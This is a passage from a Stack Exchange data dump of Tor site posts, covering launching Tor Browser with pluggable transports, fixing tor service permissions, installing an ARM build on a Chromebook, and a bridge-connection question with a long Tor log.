  <row Id="23048" PostTypeId="2" ParentId="6801" CreationDate="2022-02-12T01:00:18.710" Score="0" Body="&lt;p&gt;Some important remark to &lt;a href=&quot;https://tor.stackexchange.com/a/19853/34117&quot;&gt;Francisco Barrau's answer&lt;/a&gt;:&#xA;If you use Pluggable Transports (e.g. connect via Bridges), it's need that browser started within its working directory(e.g. &amp;quot;Start in&amp;quot; in Shortcut settings). Otherwise obfs4proxy.exe / snowflake-client.exe will not be launched and connection to Tor network will be impossible.&lt;/p&gt;&#xA;&lt;p&gt;So here is an example of how this can be done via cmd:&lt;/p&gt;&#xA;&lt;p&gt;// Assume that Tor Browser installed to D:\Apps\Tor Browser\&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cmd /c &amp;quot;cd /D &amp;quot;D:\Apps\Tor Browser\Browser&amp;quot; &amp;amp; firefox.exe --allow-remote --new-tab https://example.com&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;P.S.&#xA;And if suddenly someone needs to open links in the Tor Browser from KeePass, then here is &lt;a href=&quot;https://sourceforge.net/p/keepass/discussion/329221/thread/2e629ecb/#f4c1&quot; rel=&quot;nofollow noreferrer&quot;&gt;my workaround.&lt;/a&gt;(Not great at all, but at least something)&lt;/p&gt;&#xA;" OwnerUserId="34117" LastEditorUserId="34117" LastEditDate="2022-02-13T00:46:23.497" LastActivityDate="2022-02-13T00:46:23.497" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23049" PostTypeId="2" ParentId="21265" CreationDate="2022-02-14T04:19:25.530" Score="1" Body="&lt;p&gt;&lt;code&gt;sudo chown -R debian-tor: /var/lib/tor&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;sudo systemctl restart tor@default.service&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;sudo systemctl status tor@default.service&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="34124" LastActivityDate="2022-02-14T04:19:25.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23051" PostTypeId="2" ParentId="864" CreationDate="2022-02-16T16:01:19.623" Score="0" Body="&lt;p&gt;first install&lt;/p&gt;&#xA;&lt;p&gt;Source Package  &lt;strong&gt;firefox-esr&lt;/strong&gt;&#xA;Install Howto&#xA;Update the package index:&lt;/p&gt;&#xA;&lt;h1&gt;sudo apt-get update&lt;/h1&gt;&#xA;&lt;p&gt;Install firefox-esr deb package:&lt;/p&gt;&#xA;&lt;h1&gt;sudo apt-get install firefox-esr&lt;/h1&gt;&#xA;&lt;p&gt;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/projects/tor-browser-ports/files/8.5-arm64/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceforge.net/projects/tor-browser-ports/files/8.5-arm64/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://sourceforge.net/p/tor-browser-ports/activity/?page=0&amp;amp;limit=100#6205fab2bc223d958469ca51&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sourceforge.net/p/tor-browser-ports/activity/?page=0&amp;amp;limit=100#6205fab2bc223d958469ca51&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt; &lt;strong&gt;TorBrowser auf ARM CHROMEBOOK installieren&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;download:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://master.dl.sourceforge.net/project/tor-browser-ports/8.5.6-arm64/tor-browser-linux-arm64-8.5.6_de.tar.xz?viasf=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://master.dl.sourceforge.net/project/tor-browser-ports/8.5.6-arm64/tor-browser-linux-arm64-8.5.6_de.tar.xz?viasf=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://altushost-swe.dl.sourceforge.net/project/tor-browser-ports/11.0.6-alsa/tor-browser-linux-arm64-11.0.6_de.tar.xz&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://altushost-swe.dl.sourceforge.net/project/tor-browser-ports/11.0.6-alsa/tor-browser-linux-arm64-11.0.6_de.tar.xz&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;entpacken:&lt;/p&gt;&#xA;&lt;p&gt;tar xf tor-browser-linux-arm64-8.5.6_de.tar.xz&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;kolo.bezka@penguin:~$ cd Downloads&#xA;kolo.bezka@penguin:~/Downloads$ cd tor-browser_de&#xA;kolo.bezka@penguin:~/Downloads/tor-browser_de$ ./start-tor-browser.desktop&lt;/h2&gt;&#xA;&lt;p&gt;Launching './Browser/start-tor-browser --detach'...&#xA;kolo.bezka@penguin:~/Downloads/tor-browser_de$&lt;/p&gt;&#xA;&lt;p&gt; starten mit Terminal&#xA;./start-tor-browser.desktop&lt;/p&gt;&#xA;&lt;p&gt;schaut dann so&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.ibb.co/ZM3mYwD/CHROMEBOOK-Screenshot-2022-02-14-21-04-34.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.ibb.co/ZM3mYwD/CHROMEBOOK-Screenshot-2022-02-14-21-04-34.png&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.ibb.co/X3BFC5R/ARM-CORTEX-8cores.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.ibb.co/X3BFC5R/ARM-CORTEX-8cores.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34135" LastEditorUserId="34135" LastEditDate="2022-02-18T09:08:44.217" LastActivityDate="2022-02-18T09:08:44.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23052" PostTypeId="1" AcceptedAnswerId="23075" CreationDate="2022-02-17T05:29:21.350" Score="0" ViewCount="1306" Body="&lt;p&gt;I've installed tor package from archlinux repo.&lt;/p&gt;&#xA;&lt;p&gt;I can run tor as root with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl start tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I want to use tor without root. How can I do that ? I don't want to use official tor-browser&lt;/p&gt;&#xA;" OwnerUserId="34143" LastActivityDate="2022-05-05T14:40:38.680" Title="How to start tor as non root user" Tags="|linux|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23053" PostTypeId="1" CreationDate="2022-02-17T12:42:15.820" Score="0" ViewCount="137" Body="&lt;p&gt;I want to run onionshare-cli in a docker container on a Raspberry Pi it requires Tor to be installed - the debian package (apt get tor) is out of date, and the Torproject doesn't provide for the Pi.&lt;/p&gt;&#xA;&lt;p&gt;So, I have built tor from the source (on github) as per &lt;a href=&quot;https://tor.stackexchange.com/questions/75/how-can-i-install-tor-from-the-source-code-in-the-git-repository&quot;&gt;How can I install Tor from the source code in the Git repository?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This provides a 'make install' to install the software on the machine it was built on, but I just want the minimum install of the code into my onionshare docker container.&lt;/p&gt;&#xA;&lt;p&gt;Now I have all the files on the 'real' Pi and a Dockerfile ready to make the container -- how do I know which files I have to copy and where in the docker image?&lt;/p&gt;&#xA;&lt;p&gt;The 'make install -d' (to see what it does) produces masses of output(!) and I guess copies more than I need just to get a minimal install.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;edit&lt;/em&gt;&#xA;I am happy with docker containers the main reason I mention them in the Q is to emphasize that that I just want a basic functional install of TOR because it is for a light weight 'appliance'. Even if I build and install in a container, what can I then delete?&lt;/p&gt;&#xA;" OwnerUserId="33827" LastEditorUserId="33827" LastEditDate="2022-02-19T18:51:53.560" LastActivityDate="2022-03-21T19:00:35.073" Title="I have compiled TOR from source (github) for the Raspberry Pi, how do I now do a minimal install onto another device - what files are essential?" Tags="|raspberry-pi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23055" PostTypeId="1" CreationDate="2022-02-17T17:08:50.847" Score="0" ViewCount="1897" Body="&lt;p&gt;I've been trying to connect to Tor via Tor Browser 91.6.0esr (11.0.6). I'm using bridges I managed to find by a &lt;a href=&quot;https://github.com/ValdikSS/tor-relay-scanner&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay scan script&lt;/a&gt;, but every time I try to connect to Tor, I get an error &lt;em&gt;Connection refused - [IP address of a bridge]&lt;/em&gt; or &lt;em&gt;ok - [IP address of a bridge]&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried connecting to Tor directly, via obfs4, meek-azure, snowflake and even requested bridges from BridgeDB about 4 or 5 times, but every method gives me either an error&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Proxy Client: unable to connect OR connection (handshaking (proxy)) ... (&amp;quot;general SOCKS server failure&amp;quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Or it just won't load after a successful handshake with the relay.&lt;/p&gt;&#xA;&lt;p&gt;I have 342 bridges specified in my &lt;code&gt;torrc&lt;/code&gt; if it matters.&lt;/p&gt;&#xA;&lt;p&gt;Here is the Tor log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2/17/22, 16:50:21.107 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/17/22, 16:50:21.110 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2/17/22, 16:50:21.111 [NOTICE] New control connection opened from 127.0.0.1.&#xA;2/17/22, 16:50:21.368 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;2/17/22, 16:50:22.328 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;2/17/22, 16:50:22.328 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;2/17/22, 16:50:22.992 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying known bridges again.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'artikel10ber51' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.26:8443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'esojcmlin' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (50.116.35.204:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'OpenWeb4All' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (209.141.55.70:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'ooty1991' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (38.100.216.142:9050) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.80:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'debianRelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (138.68.9.184:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'Ganthet' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.153.160.2:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'TheWarrior' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (23.88.108.125:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'nashorn' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (109.70.100.67:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'amatista219' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (142.47.223.219:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'stvnrdgme1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (176.123.1.67:15901) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'WhiteGoldeBlizzard' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.86.209.201:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'PLCNK08' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (65.108.82.43:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'moneroblack' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (140.82.16.212:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'urilikann' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (51.83.128.105:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'wombat' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (109.70.100.69:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'NerdreichRelay1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (89.58.3.114:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'dotsrcExit6' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.129.61.6:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'Pikachu' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (133.242.163.153:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'TorExitVIF' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (216.239.90.19:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.155 [NOTICE] Bridge 'justRUPXicebeer01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (194.147.84.41:5118) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'freeAmsterdam' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.83.232.167:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'RelaySecurity' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (172.104.52.14:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'jdtr' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (213.188.119.201:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Torchier4' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (107.189.12.251:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'chadrelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (144.202.61.231:9012) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.76:9100) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Unnamed' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.79.42.159:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'nsk1321kme1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (172.104.136.133:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Havoc' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (51.158.126.227:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'straUKicebeer01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (103.175.234.144:4430) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'I' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (178.254.23.234:1137) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'PhilosofRelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (46.72.31.103:9090) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'bauruine' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (92.38.184.131:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'hetzDEicebeer21' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (173.208.190.13:8160) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'NYCBUG1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (66.111.2.16:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'colon' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (62.141.36.150:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.84:9100) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'WakNETX1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.130.47.82:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'FriendlyExitNode1' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (209.141.54.195:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'currentlane' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (148.251.91.87:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'amatista208' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (142.47.92.208:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Pjotrek' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (51.89.77.31:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Unnamed' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (23.88.106.245:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'rofltor06' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (163.172.154.162:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.73:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'DragonMaw' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.117.235.222:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'DowntimePatrol2' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (51.81.248.194:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'mistersixt2' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (88.99.104.83:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'nar2NLicebeer38' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (195.170.172.134:4112) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Vhult' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (90.224.72.162:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'F3Netze' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.100.242:9100) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'saberrider2008' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (95.91.173.107:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'Sodium' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (65.21.246.132:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'CoolComputersTOR' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (68.99.156.190:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'HanseTor' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (79.209.239.203:51901) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'maulwurf' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (109.70.100.68:8080) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'QuintexAirVPN6' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (199.249.230.117:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'tradecraft' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.32.230.134:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge 'tesutochuu' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (14.9.101.224:8351) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.156 [NOTICE] Bridge '0xdeadbeef' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (178.254.45.69:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'RSF12thMarch' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.102.7:80) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'PLCNK01' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (146.59.150.236:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'WoweRelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (23.88.6.243:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'H' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (178.254.23.18:11137) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'motor' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (46.81.13.147:9321) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'VeryKawaiiRelay2' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (132.226.207.189:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'Gentoo' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (60.241.48.194:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'DFRI4' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (171.25.193.78:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'amatista087' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (142.47.88.87:9100) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'orangeneis' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (89.182.17.201:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'HeirloomReaper' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (139.99.218.3:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'TorchWood' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (144.76.3.174:9030) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'Q' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (212.227.73.216:1214) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'gyror3lay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (137.184.82.161:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'PLCNK09' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (89.58.4.49:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'inhonourofecho' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (85.164.239.249:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'GeorgiePorgiePuddin' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (202.144.174.232:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'DesPferdesSattel' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (95.217.121.18:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'deFTL' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (49.12.10.39:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'EdenNetworkRelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.242.181.50:38301) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'LD25' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.165.169.67:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'clicker2' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (94.16.116.137:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.87:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'vidaloca' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (162.251.117.10:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'hetzDEicebeer20' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (173.208.190.13:8158) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'NoMoreGlowies' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (23.184.48.146:4200) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'voogofo1yu6eiHieghi' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.62.246.233:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'CCCStuttgartBer' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.64:9000) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'begonia' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (212.227.76.91:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.157 [NOTICE] Bridge 'FlashElk' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (194.32.107.220:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'F' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (178.254.9.77:11137) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'lokit04' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (89.58.17.0:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge '0xdeadbeef' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (195.90.208.37:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'cupleak' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (45.90.57.34:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'TORKeFFORG5' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (193.189.100.198:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'Zeus' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (104.149.155.226:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'hetzDEicebeer36' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (173.208.190.14:8014) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'Digitalcourage4ipha' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.102.247:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'artikel10ber34' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (185.220.101.17:9443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'MikeDiaIsGone' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (80.147.218.187:8001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'RunnersRelay' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (173.230.147.188:443) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'hetzDEicebeer35' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (173.208.190.14:8192) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'NilZtheExchangeII' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (89.163.208.49:9001) based on the configured Bridge address.&#xA;2/17/22, 16:50:23.158 [NOTICE] Bridge 'A' has both an 